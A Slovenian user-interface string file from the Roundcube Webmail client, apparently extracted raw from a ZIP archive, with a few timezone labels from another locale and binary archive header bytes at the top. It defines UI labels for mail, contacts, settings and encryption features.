$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
PK
h�\��̈{�{%program/localization/sl_SI/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Dobrodošli v $product';
$labels['username'] = 'Uporabniško ime';
$labels['password'] = 'Geslo';
$labels['server'] = 'Strežnik';
$labels['login'] = 'Prijava';
$labels['menu'] = 'Meni';
$labels['logout'] = 'Odjava';
$labels['mail'] = 'E-Pošta';
$labels['settings'] = 'Osebne nastavitve';
$labels['addressbook'] = 'Stiki';
$labels['inbox'] = 'Prejeto';
$labels['drafts'] = 'Osnutki';
$labels['sent'] = 'Poslano';
$labels['trash'] = 'Smeti';
$labels['junk'] = 'Neželena sporočila';
$labels['show_real_foldernames'] = 'Prikaži prava imena za posebne mape';
$labels['subject'] = 'Zadeva';
$labels['from'] = 'Od';
$labels['sender'] = 'Pošiljatelj';
$labels['to'] = 'Za';
$labels['cc'] = 'Kp';
$labels['bcc'] = 'Skp';
$labels['replyto'] = 'Odgovor na';
$labels['followupto'] = 'Odgovor na';
$labels['date'] = 'Datum';
$labels['size'] = 'Velikost';
$labels['priority'] = 'Prioriteta';
$labels['organization'] = 'Organizacija';
$labels['readstatus'] = 'Status';
$labels['listoptions'] = 'Možnosti prikaza...';
$labels['listoptionstitle'] = 'Prikaži možnosti';
$labels['mailboxlist'] = 'Mape';
$labels['messagesfromto'] = 'Sporočila $from do $to od $count';
$labels['threadsfromto'] = 'Nit $from do $to od $count';
$labels['messagenrof'] = 'Sporočilo $nr od $count';
$labels['fromtoshort'] = '$from – $to od $count';
$labels['copy'] = 'Kopiraj';
$labels['move'] = 'Premakni';
$labels['moveto'] = 'Premakni v...';
$labels['copyto'] = 'Kopiraj v...';
$labels['download'] = 'Prenesi';
$labels['open'] = 'Odpri';
$labels['showattachment'] = 'Prikaži';
$labels['showanyway'] = 'Prikaži';
$labels['filename'] = 'Ime datoteke';
$labels['filesize'] = 'Velikost datoteke';
$labels['addtoaddressbook'] = 'Dodaj med stike';
$labels['sun'] = 'ned';
$labels['mon'] = 'pon';
$labels['tue'] = 'tor';
$labels['wed'] = 'sre';
$labels['thu'] = 'čet';
$labels['fri'] = 'pet';
$labels['sat'] = 'sob';
$labels['sunday'] = 'nedelja';
$labels['monday'] = 'ponedeljek';
$labels['tuesday'] = 'torek';
$labels['wednesday'] = 'sreda';
$labels['thursday'] = 'četrtek';
$labels['friday'] = 'petek';
$labels['saturday'] = 'sobota';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'apr';
$labels['may'] = 'maj';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'avg';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'dec';
$labels['longjan'] = 'januar';
$labels['longfeb'] = 'februar';
$labels['longmar'] = 'marec';
$labels['longapr'] = 'april';
$labels['longmay'] = 'maj';
$labels['longjun'] = 'junij';
$labels['longjul'] = 'julij';
$labels['longaug'] = 'avgust';
$labels['longsep'] = 'september';
$labels['longoct'] = 'oktober';
$labels['longnov'] = 'november';
$labels['longdec'] = 'december';
$labels['today'] = 'Danes';
$labels['refresh'] = 'Osveži';
$labels['checkmail'] = 'Poglej za nova sporočila';
$labels['compose'] = 'Sestavi sporočilo';
$labels['writenewmessage'] = 'Novo sporočilo';
$labels['reply'] = 'Odgovori';
$labels['replytomessage'] = 'Odgovori';
$labels['replytoallmessage'] = 'Odgovori listi ali vsem prejemnikom';
$labels['replyall'] = 'Odgovori vsem';
$labels['replylist'] = 'Odgovori listi';
$labels['forward'] = 'Posreduj';
$labels['forwardinline'] = 'Posreduj kot besedilo';
$labels['forwardattachment'] = 'Posreduj kot priponko';
$labels['forwardmessage'] = 'Posreduj';
$labels['bouncemsg'] = 'Preusmeri (prepošlji)';
$labels['bounce'] = 'Preusmeri';
$labels['deletemessage'] = 'Izbriši';
$labels['movemessagetotrash'] = 'Premakni v smeti';
$labels['printmessage'] = 'Natisni';
$labels['previousmessage'] = 'Prikaži prejšnje sporočilo';
$labels['firstmessage'] = 'Prikaži prvo sporočilo';
$labels['nextmessage'] = 'Prikaži naslednje sporočilo';
$labels['lastmessage'] = 'Prikaži zadnje sporočilo';
$labels['backtolist'] = 'Nazaj na seznam sporočil';
$labels['viewsource'] = 'Prikaži izvorno kodo';
$labels['mark'] = 'Označi';
$labels['markmessages'] = 'Označi sporočilo';
$labels['markread'] = 'Kot prebrano';
$labels['markunread'] = 'Kot neprebrano';
$labels['markflagged'] = 'Kot označeno';
$labels['markunflagged'] = 'Kot neoznačeno';
$labels['moreactions'] = 'Več možnosti...';
$labels['markallread'] = 'Označi vse kot prebrano';
$labels['folders-cur'] = 'Samo označeno mapo';
$labels['folders-sub'] = 'Označeno mapo in njene podmape';
$labels['folders-all'] = 'Vse mape';
$labels['more'] = 'Več';
$labels['back'] = 'Nazaj';
$labels['options'] = 'Možnosti';
$labels['composeoptions'] = 'Možnosti sestavljanja sporočil';
$labels['optionsandattachments'] = 'Možnosti in priponke';
$labels['actions'] = 'Možnosti';
$labels['first'] = 'Prvo';
$labels['last'] = 'Zadnje';
$labels['previous'] = 'Prejšnje';
$labels['next'] = 'Naslednje';
$labels['select'] = 'Izberi';
$labels['selection'] = 'Izbor';
$labels['all'] = 'Vse';
$labels['none'] = 'Brez';
$labels['currpage'] = 'Trenutna stran';
$labels['isread'] = 'Prebrano';
$labels['unread'] = 'Neprebrano';
$labels['flagged'] = 'Označeno';
$labels['unflagged'] = 'Ni označeno';
$labels['unanswered'] = 'Neoznačeno';
$labels['withattachment'] = 'S priponko';
$labels['deleted'] = 'Izbrisano';
$labels['undeleted'] = 'Ni izbrisano';
$labels['replied'] = 'Odgovorjeno';
$labels['forwarded'] = 'Posredovano';
$labels['invert'] = 'Zamenjaj';
$labels['filter'] = 'Prikaži';
$labels['list'] = 'Seznam';
$labels['threads'] = 'Niti';
$labels['expand-all'] = 'Razširi vse';
$labels['expand-unread'] = 'Razširi neprebrano';
$labels['collapse-all'] = 'Zloži vse';
$labels['threaded'] = 'Nitno';
$labels['showunread'] = 'Pokaži neprebrana sporočila';
$labels['autoexpand_threads'] = 'Razširi niti';
$labels['do_expand'] = 'vse niti';
$labels['expand_only_unread'] = 'samo niti z neprebranimi sporočili';
$labels['fromto'] = 'Od/Za';
$labels['flag'] = 'Oznaka';
$labels['attachment'] = 'Priponka';
$labels['nonesort'] = 'Brez';
$labels['sentdate'] = 'Datum pošiljanja';
$labels['arrival'] = 'Datum prejema';
$labels['asc'] = 'naraščajoče';
$labels['desc'] = 'padajoče';
$labels['listcolumns'] = 'Seznam stolpcev';
$labels['listsorting'] = 'Urejanje stolpcev';
$labels['listorder'] = 'Vrstni red';
$labels['listmode'] = 'Način prikaza seznama';
$labels['lmode'] = 'Način prikaza seznama';
$labels['layout'] = 'Postavitev';
$labels['layoutwidescreen'] = 'Širok zaslon';
$labels['layoutdesktop'] = 'Namizje';
$labels['layoutlist'] = 'Seznam';
$labels['layoutwidescreendesc'] = 'Širok zaslon (pogled v 3 stolpcih)';
$labels['layoutdesktopdesc'] = 'Namizje (širok seznam in spodaj predogled sporočila)';
$labels['layoutlistdesc'] = 'Seznam sporočil (brez predogleda)';
$labels['folderactions'] = 'Upravljanje map...';
$labels['compact'] = 'Stisni';
$labels['empty'] = 'Izprazni';
$labels['importmessages'] = 'Uvozi sporočila';
$labels['mailimportdesc'] = 'Naložite lahko sporočila v formatu <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ali <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Več dokumentov lahko skrčite v arhiv zip.';
$labels['quota'] = 'Poraba prostora';
$labels['unknown'] = 'neznana';
$labels['unlimited'] = 'neomejena';
$labels['quotatype'] = 'Tip kvote';
$labels['quotatotal'] = 'Omejitev';
$labels['quotaused'] = 'Porabljeno';
$labels['quotastorage'] = 'Prostor na disku';
$labels['quotamessage'] = 'Število sporočil';
$labels['shortheaderdate'] = 'Dne $date';
$labels['shortheaderto'] = 'Za $to dne $date';
$labels['shortheaderfrom'] = 'Od $from dne $date';
$labels['quicksearch'] = 'Hitri iskalnik';
$labels['searchplaceholder'] = 'Iskanje...';
$labels['resetsearch'] = 'Prekliči iskanje';
$labels['searchmod'] = 'Spremembe iskanja';
$labels['msgtext'] = 'Celotno sporočilo';
$labels['body'] = 'Vsebina sporočila';
$labels['type'] = 'Tip';
$labels['namex'] = 'Ime';
$labels['searchscope'] = 'Obseg';
$labels['currentfolder'] = 'Trenutna mapa';
$labels['subfolders'] = 'To in podmape';
$labels['allfolders'] = 'Vse mape';
$labels['searchinterval-1W'] = 'starejše od enega tedna';
$labels['searchinterval-1M'] = 'starejše od enega meseca';
$labels['searchinterval-1Y'] = 'starejše od enega leta';
$labels['searchinterval1W'] = 'novejše od enega tedna';
$labels['searchinterval1M'] = 'novejše od enega meseca';
$labels['searchinterval1Y'] = 'novejše od enega leta';
$labels['openinextwin'] = 'Odpri v novem oknu';
$labels['emlsave'] = 'Prenos datoteke (.eml)';
$labels['changeformattext'] = 'Prikaži kot golo besedilo';
$labels['changeformathtml'] = 'Prikaži v formatu HTML';
$labels['editasnew'] = 'Uredi kot novo';
$labels['send'] = 'Pošlji';
$labels['sendmessage'] = 'Pošlji sporočilo';
$labels['savemessage'] = 'Shrani kot osnutek';
$labels['addattachment'] = 'Pripni datoteko';
$labels['charset'] = 'Nabor znakov';
$labels['editortype'] = 'Vrsta urejevalnika';
$labels['returnreceipt'] = 'Potrdilo prejemnika';
$labels['dsn'] = 'Status dostave sporočila';
$labels['mailreplyintro'] = '$date, je $sender napisal';
$labels['originalmessage'] = 'Izvorno sporočilo';
$labels['selectimage'] = 'Izberi sliko';
$labels['addimage'] = 'Dodaj sliko';
$labels['selectmedia'] = 'Izberi film';
$labels['addmedia'] = 'Dodaj film';
$labels['encrypt'] = 'Šifriraj';
$labels['encryptmessage'] = 'Šifriraj sporočilo';
$labels['encryptmessagemailvelope'] = 'Šifriraj sporočilo z Mailvelope';
$labels['importpubkeys'] = 'Uvozi javne ključe';
$labels['encryptedsendialog'] = 'Pošilji šifrirano sporočilo';
$labels['encryptandsign'] = 'Šifriraj in podpiši';
$labels['keyid'] = 'ID ključa';
$labels['keylength'] = 'Bitov';
$labels['keyexpired'] = 'Pretečen';
$labels['keyrevoked'] = 'Preklican';
$labels['bccinstead'] = 'Uporabi Skp';
$labels['addheader'] = 'Dodaj prejemnika (glava sporočila)';
$labels['insert'] = 'Vstavi';
$labels['insertcontact'] = 'Vstavi stik(e)';
$labels['recipient'] = 'Prejemnik';
$labels['recipientedit'] = 'Uredi prejemnika';
$labels['editidents'] = 'Uredi identitete';
$labels['spellcheck'] = 'Črkovanje';
$labels['checkspelling'] = 'Preglej pravopis';
$labels['resumeediting'] = 'Nadaljuj z urejanjem';
$labels['revertto'] = 'Razveljavi';
$labels['restore'] = 'Obnovi';
$labels['restoremessage'] = 'Obnovi sporočilo';
$labels['ignore'] = 'Prezri';
$labels['responses'] = 'Odgovori';
$labels['insertresponse'] = 'Vnesi odgovor';
$labels['manageresponses'] = 'Uredi odgovore';
$labels['newresponse'] = 'Ustvari nov odgovor';
$labels['addresponse'] = 'Dodaj odgovor';
$labels['editresponse'] = 'Uredi odgovor';
$labels['editresponses'] = 'Uredi odgovore';
$labels['responsename'] = 'Ime';
$labels['responsetext'] = 'Tekst za odgovor';
$labels['attach'] = 'Pripni';
$labels['attachments'] = 'Priponke';
$labels['upload'] = 'Naloži';
$labels['uploadprogress'] = '$percent ($current od $total)';
$labels['close'] = 'Zapri';
$labels['messageoptions'] = 'Možnosti';
$labels['togglecomposeoptions'] = 'Preklopi med možnostmi sestavljanja';
$labels['attachmentrename'] = 'Preimenuj priponko';
$labels['low'] = 'Nizka';
$labels['lowest'] = 'Najnižja';
$labels['normal'] = 'Običajna';
$labels['high'] = 'Visoka';
$labels['highest'] = 'Najvišja';
$labels['nosubject'] = '(brez naslova)';
$labels['showimages'] = 'Prikaži slike';
$labels['allow'] = 'Dovoli';
$labels['alwaysshow'] = 'Vedno prikaži slike od $sender';
$labels['alwaysallow'] = 'Vedno dovoli pošiljatelju $sender';
$labels['isdraft'] = 'To je osnutek sporočila.';
$labels['andnmore'] = '$nr več...';
$labels['details'] = 'Podrobnosti';
$labels['headers'] = 'Glave sporočil';
$labels['allheaders'] = 'Vse glave...';
$labels['togglemoreheaders'] = 'Prikaži več glav sporočila';
$labels['togglefullheaders'] = 'Preklopi na neobdelan zapis glave sporočila';
$labels['htmltoggle'] = 'Obogateno besedilo (HTML)';
$labels['plaintoggle'] = 'Samo besedilo';
$labels['savesentmessagein'] = 'Shrani poslana sporočila v';
$labels['dontsave'] = 'Ne shrani';
$labels['maxuploadsize'] = 'Največja dovoljena velikost datoteke je $size';
$labels['addcc'] = 'Dodaj Kp';
$labels['addbcc'] = 'Dodaj Skp';
$labels['addreplyto'] = 'Dodaj naslov za odgovor';
$labels['addfollowupto'] = 'Dodaj naslov za odgovor';
$labels['mdnrequest'] = 'Pošiljatelj tega sporočila je zaprosil za potrdilo o branju. Želite o tem obvestiti pošiljatelja?';
$labels['receiptread'] = 'Potrdilo o branju';
$labels['yourmessage'] = 'To je potrdilo o branju.';
$labels['receiptnote'] = 'Pozor: to je samo potrdilo, da je bilo vaše sporočilo prikazano na prejemnikovem računalniku. To še ne pomeni, da je prejemnik prebral ali razumel vsebino vašega sporočila.';
$labels['zoomin'] = 'Povečaj';
$labels['zoomout'] = 'Pomanjšaj';
$labels['rotate'] = 'Zasukaj';
$labels['increaseimage'] = 'Povečaj velikost slike';
$labels['decreaseimage'] = 'Zmanjšaj velikost slike';
$labels['rotateimage'] = 'Zasukaj sliko';
$labels['showtools'] = 'Prikaži orodja za urejanje slik';
$labels['hidetools'] = 'Skrij orodja za urejanje slik';
$labels['name'] = 'Ime za prikaz';
$labels['firstname'] = 'Ime';
$labels['surname'] = 'Priimek';
$labels['middlename'] = 'Drugo ime';
$labels['nameprefix'] = 'Predpona';
$labels['namesuffix'] = 'Pripona';
$labels['nickname'] = 'Vzdevek';
$labels['jobtitle'] = 'Naziv';
$labels['department'] = 'Oddelek';
$labels['gender'] = 'Spol';
$labels['maidenname'] = 'Dekliški priimek';
$labels['email'] = 'E-Pošta';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Naslov';
$labels['street'] = 'Ulica';
$labels['locality'] = 'Mesto';
$labels['zipcode'] = 'Poštna številka';
$labels['region'] = 'Regija';
$labels['country'] = 'Država';
$labels['birthday'] = 'Rojstni dan';
$labels['anniversary'] = 'Rojstni dan';
$labels['website'] = 'Spletna stran';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Opombe';
$labels['male'] = 'moški';
$labels['female'] = 'ženska';
$labels['manager'] = 'Vodja';
$labels['assistant'] = 'Pomoč';
$labels['spouse'] = 'Zakonec';
$labels['allfields'] = 'Vsa polja';
$labels['search'] = 'Iskanje';
$labels['searchresult'] = 'Rezultat iskanja';
$labels['advsearch'] = 'Napredno iskanje';
$labels['advanced'] = 'Napredno';
$labels['other'] = 'Ostalo';
$labels['printcontact'] = 'Natisni stik';
$labels['qrcode'] = 'QR-koda';
$labels['typehome'] = 'Doma';
$labels['typework'] = 'Služba';
$labels['typeother'] = 'Ostalo';
$labels['typemobile'] = 'Mobilni telefon';
$labels['typemain'] = 'Osnovno';
$labels['typehomefax'] = 'Domači fax';
$labels['typeworkfax'] = 'Službeni fax';
$labels['typecar'] = 'Avto';
$labels['typepager'] = 'Pozivnik';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Pomoč';
$labels['typehomepage'] = 'Domača stran';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Dodaj polje...';
$labels['addcontact'] = 'Dodaj stik';
$labels['editcontact'] = 'Uredi vizitko';
$labels['contacts'] = 'Stiki';
$labels['contactproperties'] = 'Lastnosti stika';
$labels['contactnameandorg'] = 'Ime in Organizacija';
$labels['personalinfo'] = 'Osebni podatki';
$labels['personal'] = 'Osebno';
$labels['contactphoto'] = 'Kontaktna slika';
$labels['edit'] = 'Uredi';
$labels['cancel'] = 'Prekliči';
$labels['save'] = 'Shrani';
$labels['delete'] = 'Izbriši';
$labels['discard'] = 'Zavrzi';
$labels['continue'] = 'Nadaljuj';
$labels['ok'] = 'V redu';
$labels['rename'] = 'Preimenuj';
$labels['addphoto'] = 'Dodaj';
$labels['replacephoto'] = 'Zamenjaj';
$labels['uploadphoto'] = 'Naloži sliko';
$labels['choosefile'] = 'Izberi dokument...';
$labels['choosefiles'] = 'Izberi dokumente..';
$labels['browse'] = 'Prebrskaj';
$labels['newcontact'] = 'Ustvari nov stik';
$labels['deletecontact'] = 'Izbriši izbrane vizitke';
$labels['composeto'] = 'Sestavi sporočilo za';
$labels['contactsfromto'] = 'Vizitke $from od $to do $count';
$labels['print'] = 'Natisni';
$labels['export'] = 'Izvozi';
$labels['exportall'] = 'Izvozi vse';
$labels['exportsel'] = 'Izvozi označeno';
$labels['exportvcards'] = 'Izvozi stike v formatu vCard';
$labels['newgroup'] = 'Ustvari novo skupino';
$labels['addgroup'] = 'Dodaj skupino';
$labels['grouprename'] = 'Preimenuj skupino';
$labels['groupdelete'] = 'Izbriši skupino';
$labels['groupassign'] = 'Dodeli skupini';
$labels['groupremove'] = 'Odstrani iz skupine';
$labels['groupremoveselected'] = 'Odstrani izbrane stike iz skupine';
$labels['uponelevel'] = 'Nivo višje';
$labels['previouspage'] = 'Prejšnja stran';
$labels['firstpage'] = 'Prva stran';
$labels['nextpage'] = 'Naslednja stran';
$labels['lastpage'] = 'Zadnja stran';
$labels['group'] = 'Skupina';
$labels['groups'] = 'Skupine';
$labels['listgroup'] = 'Izpiši seznam članov skupine';
$labels['personaladrbook'] = 'Stiki';
$labels['searchsave'] = 'Shrani iskanje';
$labels['searchdelete'] = 'Izbriši iskanje';
$labels['import'] = 'Uvozi';
$labels['importcontacts'] = 'Uvozi stike';
$labels['importfromfile'] = 'Uvozi iz dokumenta';
$labels['importtarget'] = 'Dodaj stike v';
$labels['importreplace'] = 'Zamenjaj celoten imenik';
$labels['importgroups'] = 'Vnesi skupinske zadolžitve';
$labels['importgroupsall'] = 'Vse (ustvari skupine, če je potrebno)';
$labels['importgroupsexisting'] = 'Samo za obstoječe skupine';
$labels['importdesc'] = 'Stike lahko naložite iz obstoječega imenika. <br/>Trenutno je podprt uvoz stikov v zapisu <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ali v CSV (z vejico ločene vrednosti) zapisu. ';
$labels['done'] = 'Dokončano';
$labels['settingsfor'] = 'Nastavitve za';
$labels['about'] = 'Vizitka';
$labels['preferences'] = 'Nastavitve';
$labels['userpreferences'] = 'Uporabniške nastavitve';
$labels['editpreferences'] = 'Uredi uporabniške nastavitve';
$labels['identities'] = 'Identitete';
$labels['manageidentities'] = 'Upravljaj identitete';
$labels['newidentity'] = 'Ustvari novo identiteto';
$labels['addidentity'] = 'Dodaj identiteto';
$labels['editidentity'] = 'Uredi identiteto';
$labels['identityencryption'] = 'Šifriranje';
$labels['preferhtml'] = 'Prednostno HTML';
$labels['defaultcharset'] = 'Privzeto kodiranje znakov';
$labels['htmlmessage'] = 'HTML sporočilo';
$labels['messagepart'] = 'Del';
$labels['digitalsig'] = 'Digitalni podpis';
$labels['dateformat'] = 'Prikaz datuma';
$labels['timeformat'] = 'Prikaz časa';
$labels['prettydate'] = 'Bolj čitljivi datumi';
$labels['setdefault'] = 'Nastavi privzeto';
$labels['autodetect'] = 'Samodejno';
$labels['language'] = 'Jezik';
$labels['timezone'] = 'Časovni pas';
$labels['pagesize'] = 'Vrstic na stran';
$labels['signature'] = 'Podpis';
$labels['dstactive'] = 'Samodejna nastavitev zimskega/letnega časa';
$labels['showinextwin'] = 'Odpri v novem oknu';
$labels['composeextwin'] = 'Sestavi sporočilo v novem oknu';
$labels['htmleditor'] = 'Sestavi sporočila z obogatenim besedilom';
$labels['htmlonreply'] = 'le pri odgovoru na sporočila z obogatenim besedilom';
$labels['htmlonreplyandforward'] = 'le pri posredovanju ali odgovoru na sporočila z obogatenim besedilom';
$labels['htmlsignature'] = 'Podpis z obogatenim besedilom';
$labels['showemail'] = 'Prikaži e-naslove poleg imen';
$labels['previewpane'] = 'Prikaži predogled';
$labels['skin'] = 'Tema uporabniškega vmesnika';
$labels['logoutclear'] = 'Izprazni mapo Smeti ob odjavi';
$labels['logoutcompact'] = 'Stisni sporočila v mapi Inbox ob odjavi';
$labels['uisettings'] = 'Uporabniški vmesnik';
$labels['serversettings'] = 'Nastavitve strežnika';
$labels['mailboxview'] = 'Pogled poštnega predala';
$labels['mdnrequests'] = 'Obvestila pošiljatelja';
$labels['askuser'] = 'vprašaj uporabnika';
$labels['autosend'] = 'pošlji povratnico samodejno';
$labels['autosendknown'] = 'samodejno pošlji povratnico samo mojim stikom';
$labels['autosendknownignore'] = 'pošlji potrdilo le mojim stikom';
$labels['ignorerequest'] = 'prezri zahtevo';
$labels['readwhendeleted'] = 'Označi izbrisano sporočilo kot prebrano';
$labels['flagfordeletion'] = 'Ne izbriši sporočila, le označi kot izbrisano';
$labels['skipdeleted'] = 'Ne prikaži izbrisanih sporočil';
$labels['deletealways'] = 'Če premikanje sporočil v Smeti spodleti, naj bodo izbrisana.';
$labels['deletejunk'] = 'Neposredno izbriši sporočila v mapi Nezaželena sporočila';
$labels['showremoteimages'] = 'Prikaži slike iz oddaljenih strežnikov';
$labels['allowremoteresources'] = 'Dovoli zunanje vire (slike, stile)';
$labels['fromknownsenders'] = 'od znanih pošiljateljev';
$labels['always'] = 'vedno';
$labels['alwaysbutplain'] = 'vedno, razen ko odgovarjam v golem besedilu';
$labels['showinlineimages'] = 'Prikaži priponke na dnu sporočila';
$labels['autosavedraft'] = 'Samodejno shrani osnutke';
$labels['everynminutes'] = '$n minut';
$labels['refreshinterval'] = 'Osveži (preglej nova sporočila)';
$labels['never'] = 'nikoli';
$labels['immediately'] = 'takoj';
$labels['messagesdisplaying'] = 'Prikazovanje sporočil';
$labels['messagescomposition'] = 'Sestavljanje sporočil';
$labels['mimeparamfolding'] = 'Imena priponk';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (ostali)';
$labels['force7bit'] = 'Uporabi MIME kodiranje za 8-bitne znake';
$labels['savelocalstorage'] = "Shrani v lokalni pomnilnik brskalnika (začasno)";
$labels['advancedoptions'] = 'Dodatne možnosti';
$labels['toggleadvancedoptions'] = 'Preklopi napredne nastavitve';
$labels['focusonnewmessage'] = 'Usmeri okno brskalnika na novo sporočilo';
$labels['checkallfolders'] = 'Preglej nova sporočila za vse mape';
$labels['displaynext'] = 'Po brisanju/premikanju prikaži naslednji element seznama';
$labels['defaultfont'] = 'Privzeta pisava HTML sporočil';
$labels['mainoptions'] = 'Osnovne nastavitve';
$labels['browseroptions'] = 'Možnosti brskalnika';
$labels['section'] = 'Nastavitve';
$labels['maintenance'] = 'Vzdrževanje';
$labels['newmessage'] = 'Novo sporočilo';
$labels['signatureoptions'] = 'Nastavitve podpisa';
$labels['whenreplying'] = 'Pri odgovoru';
$labels['replyempty'] = 'ne navajaj izvornega sporočila v odgovoru';
$labels['replytopposting'] = 'začni z novim sporočilom nad izvornim sporočilom';
$labels['replytoppostingnoindent'] = 'začni z novim sporočilom nad izvornim sporočilom (brez zamika)';
$labels['replybottomposting'] = 'začni z novim sporočilom pod izvornim sporočilom';
$labels['replyremovesignature'] = 'Pri odgovoru na sporočilo odstrani izvorni podpis iz sporočila';
$labels['autoaddsignature'] = 'Samodejno dodaj podpis';
$labels['newmessageonly'] = 'samo novim sporočilom';
$labels['replyandforwardonly'] = 'samo k odgovorom in posredovanim sporočilom';
$labels['insertsignature'] = 'Vstavi podpis';
$labels['sigbelow'] = 'Prikaži podpis pod citirano sporočilo';
$labels['sigseparator'] = 'V podpisu uporabi standardni razmejevalnik';
$labels['automarkread'] = 'Označi sporočila kot prebrana';
$labels['afternseconds'] = 'po $n sekundah';
$labels['reqmdn'] = 'Vedno zahtevaj povratnico';
$labels['reqdsn'] = 'Vedno zahtevaj obvestilo o statusu dostave';
$labels['replysamefolder'] = 'Shrani odgovore na sporočilo v mapo izvornega sporočila';
$labels['defaultabook'] = 'Privzeti stiki';
$labels['autocompletesingle'] = 'Preskoči nadomestni e-naslov pri samodejnem dokončanju';
$labels['listnamedisplay'] = 'Prikaži seznam stikov kot';
$labels['spellcheckbeforesend'] = 'Preveri črkovanje pred pošiljanjem sporočila';
$labels['spellcheckoptions'] = 'Možnosti črkovanja';
$labels['spellcheckignoresyms'] = 'Ne upoštevaj besed, ki vsebujejo simbole';
$labels['spellcheckignorenums'] = 'Ne upoštevaj besed, ki vsebujejo številke';
$labels['spellcheckignorecaps'] = 'Ne upoštevaj besed, ki vsebujejo samo velike črke';
$labels['addtodict'] = 'Dodaj v slovar';
$labels['mailtoprotohandler'] = 'Določi stran kot privzeti poštni odjemalec.';
$labels['standardwindows'] = 'Prikaži pojavna okna kot običajna';
$labels['forwardmode'] = 'Posredovanje sporočil';
$labels['inline'] = 'medvrstično';
$labels['asattachment'] = 'Kot priponka';
$labels['replyallmode'] = 'Privzete možnosti gumba [Odgovori vsem]';
$labels['replyalldefault'] = 'odgovori vsem';
$labels['replyalllist'] = 'odgovori na dopisni seznam (če ta obstaja)';
$labels['allmessages'] = 'pogoj velja za vsa sporočila';
$labels['folder'] = 'Mapa';
$labels['folders'] = 'Mape';
$labels['foldername'] = 'Ime mape';
$labels['subscribed'] = 'Vpisan';
$labels['messagecount'] = 'Sporočila';
$labels['create'] = 'Ustvari';
$labels['createfolder'] = 'Ustvari novo mapo';
$labels['managefolders'] = 'Uredi mape';
$labels['specialfolders'] = 'Posebne mape';
$labels['properties'] = 'Lastnosti';
$labels['folderproperties'] = 'Lastnosti mape';
$labels['parentfolder'] = 'Glavna mapa';
$labels['location'] = 'Lokacija';
$labels['info'] = 'Podatki';
$labels['getfoldersize'] = 'Klikni za prikaz velikosti mape';
$labels['changesubscription'] = 'Klikni za spremembo prijave mape';
$labels['foldertype'] = 'Tip mape';
$labels['personalfolder'] = 'Zasebna mapa';
$labels['otherfolder'] = 'Mapa drugega uporabnika';
$labels['sharedfolder'] = 'Javna mapa';
$labels['findfolders'] = 'Najdi mape';
$labels['findcontacts'] = 'Poišči stik';
$labels['findmail'] = 'Poišči sporočilo';
$labels['namespace.personal'] = 'Osebno';
$labels['namespace.other'] = 'Drugi uporabniki';
$labels['namespace.shared'] = 'V skupni rabi';
$labels['dualuselabel'] = 'Vsebuje lahko samo';
$labels['dualusemail'] = 'sporočila';
$labels['dualusefolder'] = 'mape';
$labels['generate'] = 'Generiraj';
$labels['encryptioncreatekey'] = 'Ustvari nov par ključev';
$labels['openmailvelopesettings'] = 'Odpri nastavitve za Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'V Mailvelope imate shranjenih $nr zasebnih ključev';
$labels['encryptionnoprivkeysinmailvelope'] = 'Ta identiteta pošiljatelja v Mailvelope še nima shranjenega zasebnega ključa GPG. Želite ključ ustvariti in s tem omogočiti pošiljanje šifriranih sporočil?';
$labels['encryption'] = 'Šifriranje';
$labels['sortby'] = 'Uredi po';
$labels['sortasc'] = 'Uredi naraščajoče';
$labels['sortdesc'] = 'Uredi padajoče';
$labels['undo'] = 'Prekliči';
$labels['installedplugins'] = 'Nameščeni vtičniki';
$labels['plugin'] = 'Vtičnik';
$labels['version'] = 'Različica';
$labels['source'] = 'Vir';
$labels['license'] = 'Licenca';
$labels['support'] = 'Podpora';
$labels['savedsearches'] = 'Shranjena iskanja';
$labels['dateformatY'] = 'LLLL';
$labels['dateformaty'] = 'LL';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Angleško';
$labels['westerneuropean'] = 'Zahodnoevropsko';
$labels['easterneuropean'] = 'Vzhodnoevropsko';
$labels['southeasterneuropean'] = 'JV Evropsko';
$labels['baltic'] = 'Baltsko';
$labels['cyrillic'] = 'Cirilica';
$labels['arabic'] = 'Arabsko';
